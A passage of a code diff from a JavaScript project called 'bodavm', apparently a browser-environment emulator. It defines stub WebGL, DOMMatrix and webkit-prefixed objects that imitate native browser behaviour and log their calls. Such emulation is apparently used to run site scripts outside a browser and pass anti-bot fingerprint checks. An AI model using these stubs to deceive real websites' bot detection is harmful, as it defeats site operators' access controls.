enumerable: true, + writable: true, + value: function vertexAttribI4uiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4uiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribPointer", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribPointer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribPointer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "viewport", { + configurable: true, + enumerable: true, + writable: true, + value: function viewport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "viewport", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "makeXRCompatible", { + configurable: true, + enumerable: true, + writable: true, + value: function makeXRCompatible() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "makeXRCompatible", arguments); + } +}, 'prototype'); +// WebGLActiveInfo对象 + +bodavm.memory.globalobj['WebGLActiveInfo'] = function WebGLActiveInfo() { + console.log_copy('WebGLActiveInfo 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLActiveInfo)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLActiveInfo'], "WebGLActiveInfo"); +bodavm.toolsFunc.defineProperty('WebGLActiveInfo', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLActiveInfo'].prototype, "WebGLActiveInfo", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLActiveInfo', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLActiveInfo'].prototype, "WebGLActiveInfo", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLActiveInfo', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLActiveInfo'].prototype, "WebGLActiveInfo", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +// WebGLContextEvent对象 + +bodavm.memory.globalobj['WebGLContextEvent'] = function WebGLContextEvent() { + console.log_copy('WebGLContextEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLContextEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebGLContextEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLContextEvent'], "WebGLContextEvent"); +bodavm.memory.globalobj['WebGLContextEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['WebGLContextEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('WebGLContextEvent', "statusMessage", { + configurable: true, + enumerable: true, + get: function statusMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLContextEvent'].prototype, "WebGLContextEvent", "statusMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +// WebGLFramebuffer对象 + +bodavm.memory.globalobj['WebGLFramebuffer'] = function WebGLFramebuffer() { + console.log_copy('WebGLFramebuffer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLFramebuffer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLFramebuffer'], "WebGLFramebuffer"); +// WebGLQuery对象 + +bodavm.memory.globalobj['WebGLQuery'] = function WebGLQuery() { + console.log_copy('WebGLQuery 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLQuery)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLQuery'], "WebGLQuery"); +// WebGLRenderbuffer对象 + +bodavm.memory.globalobj['WebGLRenderbuffer'] = function WebGLRenderbuffer() { + console.log_copy('WebGLRenderbuffer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLRenderbuffer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLRenderbuffer'], "WebGLRenderbuffer"); +// WebGLSampler对象 + +bodavm.memory.globalobj['WebGLSampler'] = function WebGLSampler() { + console.log_copy('WebGLSampler 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLSampler)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLSampler'], "WebGLSampler"); +// WebGLSync对象 + +bodavm.memory.globalobj['WebGLSync'] = function WebGLSync() { + console.log_copy('WebGLSync 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLSync)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLSync'], "WebGLSync"); +// WebGLTexture对象 + +bodavm.memory.globalobj['WebGLTexture'] = function WebGLTexture() { + console.log_copy('WebGLTexture 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLTexture)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLTexture'], "WebGLTexture"); +// WebGLTransformFeedback对象 + +bodavm.memory.globalobj['WebGLTransformFeedback'] = function WebGLTransformFeedback() { + console.log_copy('WebGLTransformFeedback 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLTransformFeedback)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLTransformFeedback'], "WebGLTransformFeedback"); +// WebGLUniformLocation对象 + +bodavm.memory.globalobj['WebGLUniformLocation'] = function WebGLUniformLocation() { + console.log_copy('WebGLUniformLocation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLUniformLocation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLUniformLocation'], "WebGLUniformLocation"); +// WebGLVertexArrayObject对象 + +bodavm.memory.globalobj['WebGLVertexArrayObject'] = function WebGLVertexArrayObject() { + console.log_copy('WebGLVertexArrayObject 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLVertexArrayObject)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLVertexArrayObject'], "WebGLVertexArrayObject"); +// webkitCancelAnimationFrame对象 + +bodavm.memory.globalobj['webkitCancelAnimationFrame'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('webkitCancelAnimationFrame', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('webkitCancelAnimationFrame', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "webkitCancelAnimationFrame" +}); +// DOMMatrix对象 +WebKitCSSMatrix = bodavm.memory.globalobj['DOMMatrix']; +// bodavm.memory.globalobj['DOMMatrix'] = function DOMMatrix(){this._boarg= new bodaobj.window.DOMMatrix();this._boisinit=bodavm.config.isinit} + +// bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMMatrix'], "DOMMatrix"); + +// bodavm.memory.globalobj['DOMMatrix'].prototype.__proto__=bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype; + +// bodavm.memory.globalobj['DOMMatrix'].__proto__=bodavm.memory.globalobj['DOMMatrixReadOnly']; + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat32Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat32Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat32Array", arguments)}}); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat64Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat64Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat64Array", arguments)}}); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "fromMatrix", {configurable:true, enumerable:true, writable:true, value:function fromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromMatrix", arguments)}}); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "a", {configurable:true, enumerable:true, get:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_get", arguments)}, set:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "b", {configurable:true, enumerable:true, get:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_get", arguments)}, set:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "c", {configurable:true, enumerable:true, get:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_get", arguments)}, set:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "d", {configurable:true, enumerable:true, get:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_get", arguments)}, set:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "e", {configurable:true, enumerable:true, get:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_get", arguments)}, set:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "f", {configurable:true, enumerable:true, get:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_get", arguments)}, set:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m11", {configurable:true, enumerable:true, get:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_get", arguments)}, set:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m12", {configurable:true, enumerable:true, get:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_get", arguments)}, set:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m13", {configurable:true, enumerable:true, get:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_get", arguments)}, set:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m14", {configurable:true, enumerable:true, get:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_get", arguments)}, set:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m21", {configurable:true, enumerable:true, get:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_get", arguments)}, set:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m22", {configurable:true, enumerable:true, get:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_get", arguments)}, set:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m23", {configurable:true, enumerable:true, get:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_get", arguments)}, set:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m24", {configurable:true, enumerable:true, get:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_get", arguments)}, set:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m31", {configurable:true, enumerable:true, get:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_get", arguments)}, set:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m32", {configurable:true, enumerable:true, get:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_get", arguments)}, set:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m33", {configurable:true, enumerable:true, get:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_get", arguments)}, set:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m34", {configurable:true, enumerable:true, get:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_get", arguments)}, set:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m41", {configurable:true, enumerable:true, get:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_get", arguments)}, set:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m42", {configurable:true, enumerable:true, get:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_get", arguments)}, set:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m43", {configurable:true, enumerable:true, get:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_get", arguments)}, set:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m44", {configurable:true, enumerable:true, get:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_get", arguments)}, set:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "invertSelf", {configurable:true, enumerable:true, writable:true, value:function invertSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "invertSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "multiplySelf", {configurable:true, enumerable:true, writable:true, value:function multiplySelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "multiplySelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "preMultiplySelf", {configurable:true, enumerable:true, writable:true, value:function preMultiplySelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "preMultiplySelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateAxisAngleSelf", {configurable:true, enumerable:true, writable:true, value:function rotateAxisAngleSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateAxisAngleSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateFromVectorSelf", {configurable:true, enumerable:true, writable:true, value:function rotateFromVectorSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateFromVectorSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateSelf", {configurable:true, enumerable:true, writable:true, value:function rotateSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "scale3dSelf", {configurable:true, enumerable:true, writable:true, value:function scale3dSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scale3dSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "scaleSelf", {configurable:true, enumerable:true, writable:true, value:function scaleSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scaleSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "skewXSelf", {configurable:true, enumerable:true, writable:true, value:function skewXSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewXSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "skewYSelf", {configurable:true, enumerable:true, writable:true, value:function skewYSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewYSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "translateSelf", {configurable:true, enumerable:true, writable:true, value:function translateSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "translateSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "setMatrixValue", {configurable:true, enumerable:true, writable:true, value:function setMatrixValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "setMatrixValue", arguments)}},'prototype'); +// MediaStream对象 +/* bodavm.memory.globalobj['MediaStream'] = function MediaStream(){this._boarg= new bodaobj.window.MediaStream();this._boisinit=bodavm.config.isinit} bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStream'], "MediaStream"); bodavm.memory.globalobj['MediaStream'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; @@ -20292,30 +81425,47 @@ bodavm.toolsFunc.defineProperty('MediaStream', "getAudioTracks", {configurable:t bodavm.toolsFunc.defineProperty('MediaStream', "getTrackById", {configurable:true, enumerable:true, writable:true, value:function getTrackById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTrackById", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('MediaStream', "getTracks", {configurable:true, enumerable:true, writable:true, value:function getTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTracks", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('MediaStream', "getVideoTracks", {configurable:true, enumerable:true, writable:true, value:function getVideoTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getVideoTracks", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "removeTrack", {configurable:true, enumerable:true, writable:true, value:function removeTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "removeTrack", arguments)}},'prototype'); - -// MutationObserver对象 -bodavm.memory.globalobj['MutationObserver'] = function MutationObserver(){if (!(this instanceof MutationObserver)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MutationObserver': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationObserver'], "MutationObserver"); -bodavm.toolsFunc.defineProperty('MutationObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MutationObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "observe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MutationObserver', "takeRecords", {configurable:true, enumerable:true, writable:true, value:function takeRecords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "takeRecords", arguments)}},'prototype'); - -// webkitRequestAnimationFrame对象 -bodavm.memory.globalobj['webkitRequestAnimationFrame'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('webkitRequestAnimationFrame', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('webkitRequestAnimationFrame', "name", {configurable:true, enumerable:false, writable:false, value:"webkitRequestAnimationFrame"}); - -// webkitResolveLocalFileSystemURL对象 -bodavm.memory.globalobj['webkitResolveLocalFileSystemURL'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('webkitResolveLocalFileSystemURL', "length", {configurable:true, enumerable:false, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('webkitResolveLocalFileSystemURL', "name", {configurable:true, enumerable:false, writable:false, value:"webkitResolveLocalFileSystemURL"}); - -// RTCPeerConnection对象 +bodavm.toolsFunc.defineProperty('MediaStream', "removeTrack", {configurable:true, enumerable:true, writable:true, value:function removeTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "removeTrack", arguments)}},'prototype'); */ +webkitMediaStream = bodavm.memory.globalobj['MediaStream']; +// WebKitMutationObserver + +WebKitMutationObserver = bodavm.memory.globalobj['MutationObserver']; +// webkitRequestAnimationFrame对象 + +bodavm.memory.globalobj['webkitRequestAnimationFrame'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('webkitRequestAnimationFrame', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('webkitRequestAnimationFrame', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "webkitRequestAnimationFrame" +}); +// webkitResolveLocalFileSystemURL对象 + +bodavm.memory.globalobj['webkitResolveLocalFileSystemURL'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('webkitResolveLocalFileSystemURL', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('webkitResolveLocalFileSystemURL', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "webkitResolveLocalFileSystemURL" +}); +// RTCPeerConnection对象 +/* bodavm.memory.globalobj['RTCPeerConnection'] = function RTCPeerConnection(){this._boarg= new bodaobj.window.RTCPeerConnection();this._boisinit=bodavm.config.isinit} bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnection'], "RTCPeerConnection"); bodavm.memory.globalobj['RTCPeerConnection'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; @@ -20365,23 +81515,37 @@ bodavm.toolsFunc.defineProperty('RTCPeerConnection', "removeTrack", {configurabl bodavm.toolsFunc.defineProperty('RTCPeerConnection', "restartIce", {configurable:true, enumerable:true, writable:true, value:function restartIce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "restartIce", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setConfiguration", {configurable:true, enumerable:true, writable:true, value:function setConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setConfiguration", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setLocalDescription", {configurable:true, enumerable:true, writable:true, value:function setLocalDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setLocalDescription", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setRemoteDescription", {configurable:true, enumerable:true, writable:true, value:function setRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setRemoteDescription", arguments)}},'prototype'); - -// SpeechGrammar对象 -bodavm.memory.globalobj['SpeechGrammar'] = function SpeechGrammar(){this._boarg= new bodaobj.window.SpeechGrammar();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechGrammar'], "SpeechGrammar"); -bodavm.toolsFunc.defineProperty('SpeechGrammar', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, 